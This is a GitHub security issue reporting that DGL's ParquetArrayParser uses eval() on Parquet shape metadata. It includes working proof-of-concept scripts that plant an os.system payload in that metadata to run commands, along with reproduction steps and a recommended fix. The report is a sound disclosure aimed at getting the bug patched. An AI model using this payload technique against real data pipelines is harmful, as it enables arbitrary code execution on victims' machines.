ITADN
dmlc/dgl/Issues

🚨 Security Vulnerability: Remote Code Execution via eval() in ParquetArrayParser

#7910OpenCherno-x 创建于 2025-11-11
stale-issue
C
Cherno-xcommented
## Summary A critical Remote Code Execution (RCE) vulnerability exists in DGL's `ParquetArrayParser.read()` method, which uses `eval()` to parse shape metadata from Parquet files without proper validation. An attacker who can control the content of a Parquet file can execute arbitrary Python code. **Severity**: 🔴 **CRITICAL** **CVSS Score**: 9.8 (Critical) - AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H **Affected Versions**: All versions containing `tools/distpartitioning/array_readwriter/parquet.py` ## Affected Component - **File**: `tools/distpartitioning/array_readwriter/parquet.py` - **Class**: `ParquetArrayParser` - **Method**: `read()` - **Line**: 44 ## Vulnerability Details ### Code Location ```python # tools/distpartitioning/array_readwriter/parquet.py:16-45 def read(self, path): logging.debug("Reading from %s using parquet format" % path) metadata = pyarrow.parquet.read_metadata(path) metadata = metadata.schema.to_arrow_schema().metadata # As parquet data are tabularized, we assume the dim of ndarray is 2. # If not, it should be explictly specified in the file as metadata. if metadata: shape = metadata.get(b"shape", None) else: shape = None table = pyarrow.parquet.read_table(path, memory_map=True) data_types = table.schema.types # Spark ML feature processing produces single-column parquet files where each row is a vector object if len(data_types) == 1 and isinstance(data_types[0], pyarrow.ListType): arr = np.array(table.to_pandas().iloc[:, 0].to_list()) logging.debug( f"Parquet data under {path} converted from single vector per row to ndarray" ) else: arr = table.to_pandas().to_numpy() if not shape: logging.debug( "Shape information not found in the metadata, read the data as " "a 2 dim array." ) logging.debug("Done reading from %s" % path) shape = tuple(eval(shape.decode())) if shape else arr.shape # ⚠️ VULNERABILITY return arr.reshape(shape) ``` ### Vulnerability Analysis **Line 44** contains the vulnerable code: ```python shape = tuple(eval(shape.decode())) if shape else arr.shape ``` #### Why This Is Dangerous 1. **Unvalidated Input**: The `shape` value is read directly from the Parquet file's metadata without any validation or sanitization. 2. **Direct eval() Usage**: The code uses `eval()` to parse the shape tuple, which allows execution of arbitrary Python expressions. 3. **User-Controlled Input**: If an attacker can control the Parquet file (e.g., upload, provide URL, or modify file), they can inject malicious Python code into the `shape` metadata. 4. **No Sandboxing**: The `eval()` executes in the same context as the application, with full privileges. ### Attack Vector An attacker can create a malicious Parquet file with a crafted `shape` metadata that contains arbitrary Python code. When `ParquetArrayParser.read()` processes this file, the malicious code is executed. ### Proof of Concept #### Step 1: Create Malicious Parquet File ```python import pyarrow import pyarrow.parquet import pandas as pd import numpy as np # Create normal-looking data data = np.array([[1, 2, 3], [4, 5, 6], [7, 8, 9]], dtype=np.float32) df = pd.DataFrame(data) table = pyarrow.Table.from_pandas(df) # Inject malicious code into metadata payload = "__import__('os').system('id') or (3, 3)" metadata = {b"shape": payload.encode('utf-8')} table = table.replace_schema_metadata(metadata) # Save malicious file pyarrow.parquet.write_table(table, "malicious.parquet") ``` #### Step 2: Trigger RCE ```python from distpartitioning import array_readwriter parser = array_readwriter.get_array_parser(name="parquet") # This will execute: os.system('id') result = parser.read("malicious.parquet") ``` #### Complete Exploit Script ```python #!/usr/bin/env python3 import os import pyarrow import pyarrow.parquet import pandas as pd import numpy as np from distpartitioning import array_readwriter # Create malicious parquet file data = np.array([[1, 2, 3], [4, 5, 6], [7, 8, 9]], dtype=np.float32) df = pd.DataFrame(data) table = pyarrow.Table.from_pandas(df) # Payload: Execute command and return valid tuple payload = "__import__('os').system('echo RCE_EXECUTED') or (3, 3)" metadata = {b"shape": payload.encode('utf-8')} table = table.replace_schema_metadata(metadata) pyarrow.parquet.write_table(table, "malicious.parquet") # Trigger RCE parser = array_readwriter.get_array_parser(name="parquet") result = parser.read("malicious.parquet") # Output: RCE_EXECUTED ``` ### Impact 1. **Remote Code Execution**: An attacker can execute arbitrary Python code with the privileges of the user running the DGL application. 2. **Data Exfiltration**: An attacker can read sensitive files, access databases, or exfiltrate data. 3. **System Compromise**: An attacker can install backdoors, modify files, or perform other malicious actions. 4. **Privilege Escalation**: If the application runs with elevated privileges, the attacker gains those privileges. ### Affected Use Cases This vulnerability affects any code path that uses `ParquetArrayParser.read()` with user-controlled or untrusted Parquet files, including: 1. **Distributed Graph Partitioning**: When processing graph data stored in Parquet format 2. **Data Loading**: When loading node/edge features from Parquet files 3. **User Uploads**: If the application accepts Parquet file uploads 4. **Remote Data Sources**: If the application reads Parquet files from URLs or network locations 5. **Data Processing Pipelines**: When processing Parquet files in automated workflows ### Recommended Fix Replace `eval()` with `ast.literal_eval()` or manual parsing: ```python # Option 1: Use ast.literal_eval (safer, but still has limitations) import ast shape = tuple(ast.literal_eval(shape.decode())) if shape else arr.shape # Option 2: Manual parsing (most secure) def parse_shape(shape_str): """Safely parse shape tuple from string""" shape_str = shape_str.strip() if not (shape_str.startswith('(') and shape_str.endswith(')')): raise ValueError("Invalid shape format") # Remove parentheses and split inner = shape_str[1:-1].strip() if not inner: return () # Parse comma-separated integers parts = inner.split(',') result = [] for part in parts: part = part.strip() if not part.isdigit(): raise ValueError(f"Invalid shape value: {part}") result.append(int(part)) return tuple(result) shape = parse_shape(shape.decode()) if shape else arr.shape ``` ### Additional Security Recommendations 1. **Input Validation**: Always validate and sanitize metadata from external sources 2. **Sandboxing**: Consider running file processing in isolated environments 3. **File Type Verification**: Verify that uploaded files are legitimate Parquet files 4. **Access Control**: Limit file access to trusted sources 5. **Logging**: Log all file processing operations for security auditing ## References - DGL Repository: https://github.com/dmlc/dgl - Vulnerable File: `tools/distpartitioning/array_readwriter/parquet.py` - Python `eval()` Security: https://docs.python.org/3/library/functions.html#eval ## Steps to Reproduce 1. Install DGL and required dependencies: ```bash pip install dgl pyarrow pandas numpy ``` 2. Create a malicious Parquet file: ```python import pyarrow import pyarrow.parquet import pandas as pd import numpy as np data = np.array([[1, 2, 3], [4, 5, 6], [7, 8, 9]], dtype=np.float32) df = pd.DataFrame(data) table = pyarrow.Table.from_pandas(df) # Inject malicious code payload = "__import__('os').system('echo RCE_EXECUTED') or (3, 3)" metadata = {b"shape": payload.encode('utf-8')} table = table.replace_schema_metadata(metadata) pyarrow.parquet.write_table(table, "malicious.parquet") ``` 3. Trigger the vulnerability: ```python from distpartitioning import array_readwriter parser = array_readwriter.get_array_parser(name="parquet") result = parser.read("malicious.parquet") # RCE triggered here ``` 4. Verify RCE execution: - Check console output for "RCE_EXECUTED" message - Or use a payload like `__import__('os').system('id')` to see user information https://github.com/user-attachments/assets/e723fdda-62f1-4515-ba50-d5eada251928
2 条评论